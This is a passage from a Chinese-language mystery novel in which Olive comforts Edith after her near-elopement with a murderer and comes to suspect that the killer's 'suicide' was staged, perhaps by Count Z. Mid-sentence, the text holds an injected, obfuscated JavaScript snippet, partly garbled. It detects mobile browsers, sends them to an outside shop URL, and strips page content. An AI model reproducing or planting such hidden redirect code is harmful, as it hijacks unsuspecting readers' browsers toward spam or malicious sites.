“我坚持要和他一起走,他假装时间紧迫,来不及劝说我,趁机答应下来。我们约定第二天下午离开,白天,他还像平日一样该干什么干什么,以免引起有可能暗中监视他的人的怀疑,而我,则悄悄做些准备,然后,我直接上维多利亚车站,买好夜间火车的车票,等着和他会合后一起出发。 “幸亏,幸亏你事先和布朗先生说了,他拦下了我们,不然,我就……”伊迪丝猛地转过身,搂住奥丽芙的脖子。 奥丽芙也紧紧抱住伊迪丝,她没有再说准备好的劝慰话,没必要说了。伊迪丝知道她自己对库珀先生特别重要,对她的朋友们特别重要,但是,即便不考虑这些,她依然特别重要。 伊迪丝平复了一会儿情绪,再开口时,她用沉静的口吻说起了另一件事:“我想给范德梅尔……真正的范德梅尔夫人和范德梅尔小姐寄一笔钱,她们的生活好像不太富裕。” 奥丽芙激动地抓住她的胳膊:“伊迪丝,你太好了!你能想到她们太好了。我就没有想到。” 伊迪丝显出羞赧的神情:“我想到她们是因为,起初,我还以为……不管他犯了多么残忍的罪,对我至少还有一点真心。听到她们的事,我才真正明白,如果我失去了财产,就对他没用了,他会毫不留情地丢开我,就像丢开范德梅尔小姐一样。 “我总觉得我……虽然她们母女的遭遇不是我造成的,但我觉得我们的命运关联在一起了,我应当帮助她们,就好像在我最糟糕的时刻,你和好多人帮助了我。 “我已经给她们写了一封信,把我和那个坏人结识、直到认清他面目的全部经过说清楚了。我没有用真名写信,但钱我还想再用另外一个名义寄去,又怕她们看了信猜到是我,产生误解,你说我该怎么办才好?” “我想你可以用同一个名字寄钱和信,她们一定不会曲解你的好意。”奥丽芙回答。 “好,就按你说的办。”停了一会儿,伊迪丝不好意思地偷看奥丽芙,“你不会以为我还是忘不掉他吧?” “怎么可能?就那家伙。” 伊迪丝也露出一丝冷蔑的笑:“他确实挺会说话,要不是被他的花言巧语蒙蔽了,我怎么能看上他?他甚至都不是最帅的,也缺乏真正的风度。” 奥丽芙的心再一次飞快地、慌张地跳起来。伊迪丝是什么意思,莫非她打算爱上…… 伊迪丝说:“我已经告诉爸爸,我不想这么早订婚,我才二十岁,爸爸同意了,让我想什么时候就什么时候,哪怕一辈子不嫁人。反正,我不会再轻易对谁动心了。” . 奥丽芙来向库珀先生告别,像第一次会面一样,两人又在书房面对面坐下。 “我想先回哈德维克村,陪我姨妈呆一段。”库珀先生询问奥丽芙的打算,她这样回答。 库珀先生说:“马上就到了伊迪丝二十岁生日,要是你不能参加她的生日舞会,她会非常失望的。陪她过完生日你再回去,好吗?” 奥丽芙点了点头。 没有什么需要她留在伦敦了,伊迪丝的生日舞会之后,她就离开。 库珀先生不大自在地清了清嗓子:“对了,虽然我实在不愿用这种方式,但毕竟我们说好……” 奥丽芙看出他是要拿支票簿,赶快打断:“库珀先生,我的工作还没有向你汇报完。除了上次对你说过的,德·雷斯托的子爵名号问题,以及假范德梅尔伯爵的事,我没有其它更多发现。” 奥丽芙一面说,一面想起了小默顿的“求爱”,想起了德·雷斯托默默的、勇敢的爱慕,也想起了Z伯爵。 她定定神,用更加坚定、清晰的语调说,“本来我想准备一份详细报告,但恐怕没有报告可以交给你了。库珀先生,没有任何一个人是完美的,包括我自己。我以为我能够评判他人,但我想错了。不过我相信,今后,伊迪丝一定能够做出正确的选择。 “无论如何,你交给我的工作我完成得不好,我不能再收你的钱。之前你给我的已经花掉了一些,我尽量列出了账目,剩下的在这儿。” “这可不行!”库珀先生喊叫,一下子站起身。奥丽芙刚拿出装有账目明细和支票的信封放在桌上,不知所措地顿住。 库珀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17161940|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先生近乎严厉地说:“你挽救了伊迪丝的名誉。我的女儿差点和一名杀人犯私奔。如果他们真的到了瑞士,我该怎么办?我会派很多人找他们,但是找到了又如何?从此后,我将永远被一个恶棍拿捏。你救了伊迪丝,也救了我,你却说你的工作完成得不好? “我只是为了……” “你做得很好,孩子。”库珀先生语气又变得柔和、慈爱,“无论是我,还是你父亲,都会这么说。现在,你回去休息吧,在城里转一转,好好玩玩。其它事不要放在心上,我们又不会很快分开,对吧?”他把信封塞回奥丽芙手里,将她送出门。 伊迪丝的生日在十日后,奥丽芙答应参加她的生日舞会,决定安心在伦敦多呆半个月。她还没有给伊迪丝准备生日礼物,一想起这事,便急匆匆跑去邦德街。 她先后进了几家店铺,最后,来到一家卖珊瑚饰品的商店。伊迪丝不缺首饰,但奥丽芙想送她一件能够留存长久的东西,思来想去,还是首饰最合适;而珊瑚,既美丽贵重,同时,价格不至于高上了天。 刚走进店门,一位先生在柜台前转过身,是Z伯爵。 “上午好,小姐。”他招呼奥丽芙,脸上带着出乎意料之时的惊讶尴尬表情,“我想,你是来为库珀小姐选一件礼物?” “对。你也是?”奥丽芙同样有点尴尬。 “不,不,我正等人,随便逛逛。那边有一对手链不错。”Z伯爵伸手一指,“抱歉了,小姐,再会。”他快步离开商店。 奥丽芙去看那对珊瑚珠串成的手链,心里不得不承认,Z伯爵对首饰确实独具慧眼。这种淡粉色的珠子套在伊迪丝圆润可爱的手腕上,一定再美不过了。 她把店内其它商品大致扫了几眼,真没有更合适的。不过,奥丽芙没选手链——出于友谊和感激,伊迪丝可能会在生日宴上戴她送的手链,而不戴父亲送的手镯,那可不太好。 最终,奥丽芙挑了一串项链。 . 这段时日,伊迪丝的心情好多了,渐渐,她们又恢复了过去的社交活动。 库珀先生非常体贴,经过他的小心安排,奥丽芙再次在众人面前露面时,没有成为所有视线的焦点,也没有令人尴尬的祝酒致敬场面,只有相熟的几位朋友,在旁人听不到时,悄悄对她说几句。 德·雷斯托向她微笑了一下,又悲伤地说:“我有幸见过费克特先生,我真的非常非常遗憾。” 我知道。奥丽芙在心里对他道歉,很感激地望着他。 她相信,德·雷斯托完全是因为她和她父亲的缘故,才高兴看到“范德梅尔”得到应有的下场。至于他自己,则从来没有因减少一位情敌而沾沾自喜,他只为伊迪丝感到难过。 “你是库珀小姐最好的朋友。你能为她庆贺生日,她会多么开心啊。”德·雷斯托轻轻鞠一躬,转身走开。 小默顿现在不太容易见到了,化装舞会后,他很少来绿窗酒店拜访——这可以理解。见面这一次,他的情绪相当低落。 “费克特小姐,过段时间你准备去——对不起,我忘了,是诺丁汉郡?” “对,我姨妈家在那儿。” 小默顿这才有了精神:“我去过诺丁汉,园艺协会的花卉展览有次在那儿举办,得大奖的是当地一位医生种的黄玫瑰,据说他配出了特别的药水浇花。希望还有园艺展——我很乐意再去,说不定还能见到你。诺丁汉郡的确是个很美的地方。” Z伯爵似乎天天都来,但他几乎没有与奥丽芙单独交谈过。奥丽芙总觉得他有意躲避自己,同时,脸上挂着心虚惭愧的表情——那次在商店遇上时,他就是这副表情。 大概还是因为和侯爵小姐一起看戏——上回在安斯蒂家,他看见伊迪丝和范德梅尔两人在花园,以为自己没希望了,转而去追求侯爵小姐;如今,范德梅尔出局,Z伯爵掉头回来,但有一人刚好见证了他“变心”的小插曲,那个人又特别为库珀父女器重,在那人面前,他可不是惭愧着慌吗。 说不定他还盼着我赶紧走掉呢。奥丽芙心想。 这天晚上,两位姑娘和客人们在绿窗酒店的音乐室消磨晚饭后的时光,伊迪丝弹了几支钢琴曲,和奥丽芙合唱了几首歌,又和凯里小姐唱了几首。这时,Z伯爵走进来,伊迪丝便请他演奏小提琴。 Z伯爵欣然应允,他的小提琴拉得非常好,不过,凯里夫人更喜欢聊天,她和一位太太一直在谈论珠宝大盗,忽然转过头来对伊迪丝说:“那天晚上又是在骑士桥,你们正在跳舞的时候,大盗就在不远处偷东西。你可真要当心一点了,伊迪丝,我敢说每次窃案发生,你都离得不远,大盗没准是和你擦肩而过啊。” 35. 疑窦顿生 面对凯里夫人要她提防大盗的好意提醒,伊迪丝只笑了一笑作为回答。她要听演奏,无心交谈。 凯里夫人又去和别人说话了,但这显然不妨碍她同时听曲子,等Z伯爵奏完,她称赞道:“Z伯爵,我知道,你惯用左手,没想到你用右手拉琴,竟然拉得这么好。” “正因为我惯用左手,所以比用右手的人稍多一些优势,夫人。”Z伯爵很谦虚地说,“你瞧,如果左手灵敏,在按弦、揉弦时就会更自如、准确。” “是么,这倒是个新鲜说法。我不由想起,那位范德梅尔伯爵,他也喜欢小提琴,拉得也不错,但他只拉左手琴。” 听到范德梅尔伯爵,伊迪丝抬起身就走,奥丽芙连忙跟着她站起来。 凯里夫人以为伊迪丝突兀的离开是奥丽芙的缘故,急忙向她道歉,“我又忘了,你听见这个名字会伤心。那位凶手——我始终不习惯用他的本名——他太可恨了。”她朝奥丽芙歉然地笑笑。 “没关系,我不伤心。”奥丽芙自己确实不介意。她知道,范德梅尔伯爵在他们这群人中曾经很受欢迎,肯定会被经常议论,其实,她宁可别人谈论范德梅尔,总好过来安慰她。既然凯里夫人道了歉,她不好再走开,而且,伊迪丝又去弹钢琴了,奥丽芙便重新坐下。 凯里夫人压低嗓音,以为奥丽芙专心听曲子,不会听她的话,其实奥丽芙能听见。 凯里夫人对Z伯爵说:“你知道埃里奥特府上藏着一把斯特拉迪瓦里吗?那次我们在他家,主人总算把提琴拿出来让大家瞧。可惜,要是你在场就好了,那天我们别的人都不会演奏提琴,只有范德梅尔伯爵。他想要试一试,他真的试了,当然,几乎不成曲调,因为那是把右手提琴。范德梅尔只用他自己的提琴,他说要是其它右手提琴,他碰都不会碰一下,但那是斯特拉迪瓦里,他才一定要摸摸。谁能想到,一个罪犯,这么喜爱音乐!” Z伯爵对她的感慨没有评论,他只说:“凡事都依赖主导手确实存在许多局限,对另一只手也该加以适当锻炼。” Z伯爵作为一个左撇子,能用右手拉提琴,或许有资格说这样的话,可是,奥丽芙总觉得他的话另外蕴含着某个特殊的意思。 聚会散了后,她回到自己的房间,还在想。 因姆克是个地道的惯用左手的人,平日里,他用左手抓球拍、握笔、持琴弓。杀害父亲时,他用左手拿石块…… 但是,因姆克的尸体上,子弹是由右边太阳穴射入的,他的右手留有火药痕迹。 警方注意到了这一点“异常”,他们的解释是:当时因姆克坐在卧室的小写字桌前,写完绝笔书后,立即从抽屉拿出手枪。小写字桌放在墙角,左面是一堵墙,若用左手射击,手肘会抵在墙上,十分不便,因此,他用了右手。 奥丽芙在初次读到报道时,也认可警方的说法。毕竟,当枪口贴在头上,无论是惯用手还是非惯用手,哪怕用脚趾头扣扳机,都没有打不中的道理。可是,这时,奥丽芙想,因姆克正是Z伯爵口里说的,凡事都依赖主导手的人,除了作为协助,他很少使用右手独立做某事。很难想象,当他完成他在人世的最后一件事,仅仅因为所处位置别扭,便突然改用右手。 奥丽芙不知晓因姆克卧室家具的摆放布局,她自己站在墙边比划了一下:假如因姆克能用左手在小写字桌上写字,那空间不至于很局促,至多只需要把身子向右偏偏,手肘就不会碰到墙了。 左面的墙只在一种情况下会带来不便——另外有一个人,当他用枪抵住因姆克时,左边没有地方供他站立。 一下子,奥丽芙浑身冰凉,是不是把所有事都想错了?另外有一个人! 定定神,奥丽芙仔细回想。首先,范德梅尔伯爵是因姆克假扮的,这件事没有错。布朗先生本人从荷兰的美国使馆收到了明确确认,另外,伊迪丝与范德梅尔小姐的通信也同样能证实。 而因姆克杀死父亲,这是他自己书面承认的,没有证据支撑,也没有经过审讯——因为因姆克已经死了。 警察听见枪声,发现因姆克死在卧室,认为他是自杀。伦敦警察和他们口里的话,全部可信吗? 倒不是说警察是坏人,杀死了因姆克,但,有没有可能,另有一人悄悄潜入因姆克的房间,用枪逼迫他写下绝笔书,又开枪打死了他并逃走;警察只看到表象,懒得深究,就像他们懒得深究父亲遇害的真相一样? 奥丽芙终于知道自己这几日心中的不满意是什么——她就是对因姆克自杀这件事不满意。 因姆克死后第二日,报纸上就刊出了详细报道,那份报纸奥丽芙还留着。她取出报纸,再次读了一遍。 报道首先描述了警方发现因姆克自尽的经过,又大幅引用了因姆克绝笔中的句子:包括他叙述自己假冒范德梅尔伯爵的始末,以及杀害费克特先生的动机;绝笔书最后,是他表示悔恨和自责的言语,他感到自己犯下了大错,无颜面对世人,也无颜面对自己,决定结束自己的生命,云云。 报道还说,因姆克的遗书比起他平日的书写,字迹更难辨认,足见他写下这些话时情绪激动,手颤抖得厉害。 奥丽芙想,手发颤除了说明激动和悔恨,也可以说明恐惧。要是有人用枪指着你的头,怎么可能不恐惧? 可是,书写的内容倒是丝毫未显出惧怕。遗书原文是用英语、而非荷兰语写就,这不奇怪:因姆克的父亲从事外贸行业,与英国常有贸易往来,为了继承父业,因姆克从小学习英文,掌握得很好;自杀时,他身处伦敦,很可能为警方的“工作便利”做了考虑。但是,遗书语言朴实、优美,多处显露出良好教养和高尚情操的痕迹,这不大符合写遗书之人一惯的口吻。——假如有人拿着事先写好的稿子让他抄? 倘若奥丽芙没和“范德梅尔伯爵”打过交道,或许会被这封遗书说服,但她与对方颇熟悉,对他的为人和性格已经有了一定看法:他没有荣誉感,除了自己想要到手的东西,他对任何事都不在乎;只要能达到自己的目的,他做什么都不觉得可耻。这正是罪犯的心理,因此,他可以毫无顾虑地夺取别人的生命,可是到他自己呢? 这样一个冒用别人身份行骗,毫无自尊、毫无廉耻,甚至没有灵魂的无赖,只可能向人摇尾乞怜,企望苟活于世,怎么会因为悔恨羞耻、因为荣誉感而轻易结束自己的性命! 结束自己的生命确实需要一些胆量,而因姆克并不具备这种“勇气”。他“自杀”的原因是:若他活着受审,就会暴露出真正那个凶手的身份。 奥丽芙又一次产生了喘不过气的感觉。 咬咬牙,她逼自己继续思考。 还有一个不对劲的地方:因姆克没有认出她其实是费克特小姐——奥丽芙再三回忆与假伯爵交往中的每一次对谈,再加上伊 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他是谁,只有奥康纳最清楚。那天下午,奥康纳把败露的消息同时通知了那个人和因姆克,因姆克仓皇中决定逃走,而那个人制定了周详的计划要除掉因姆克。 要是能找到奥康纳就好了,但是,连警方也没找到。 他们肯定没好好找。没人将奥康纳看得重要,他是个在SevenDials开铺子的家伙,那儿,有几个人不参与犯罪活动?那儿,每年失踪的人口多得数不清。 可奥丽芙不信金铺店主能像掉入大海的一滴水般消失。若要她查,她会一步步追问,直至再也问不下去——最后见到奥康纳的人是谁,在哪儿? 或许不用那么麻烦,她只问自己一次,关键的答案“唰”一下,蹦到了眼前。 是谁在事发后的第一时间,就在剧院包厢中见到了奥康纳,还和他说了几句话,之后,奥康纳便走了,而紧随其后,本来好端端坐在包厢中看戏的这位先生也不见了? 往前想想,是谁的仆人经常在SevenDials一带行踪诡秘? 再向后想想,因姆克“自尽”那晚,是谁提前离开了舞会? 奥丽芙一阵头晕目眩。 他没有任何理由行凶啊! 奥丽芙想起初次见面时,他对一只蜜蜂大惊小怪,想起在默顿公爵府上,他暗示有人潜入他的房间,想起在安斯蒂家,他发出“杰出”罪犯不易让人识破的洋洋自得的议论……这里每一件事都可以换一种理解——对她的嘲笑与试探! 可是,忆起的每一句话,每一件事,又都能找到另一句话,另一件事,甚至一个神情,去驳斥它,抵消它。 奥丽芙思过来,想过去,一时觉得他可疑,一时又觉得绝无可能,脑子再也转不动了,手里还呆呆握着报纸。 她低下头,目光无意识地扫过报纸,看到了珠宝窃案。 在因姆克畏罪自杀的同一个晚上,有一件珠宝被盗,因此,这天的报纸也刊登了这则新闻。这一次,是假伯爵事件更吸引眼球,关于窃案的简短报道被挤到了版面最下端。 不知不觉间,奥丽芙把关于窃案的几句话读了一遍。 她几乎不知道自己在看什么,不过,时间、地点,新闻中最关键的几个词钻进了她的大脑。 五分钟后,她又重新再读一遍,一字一字,仔仔细细。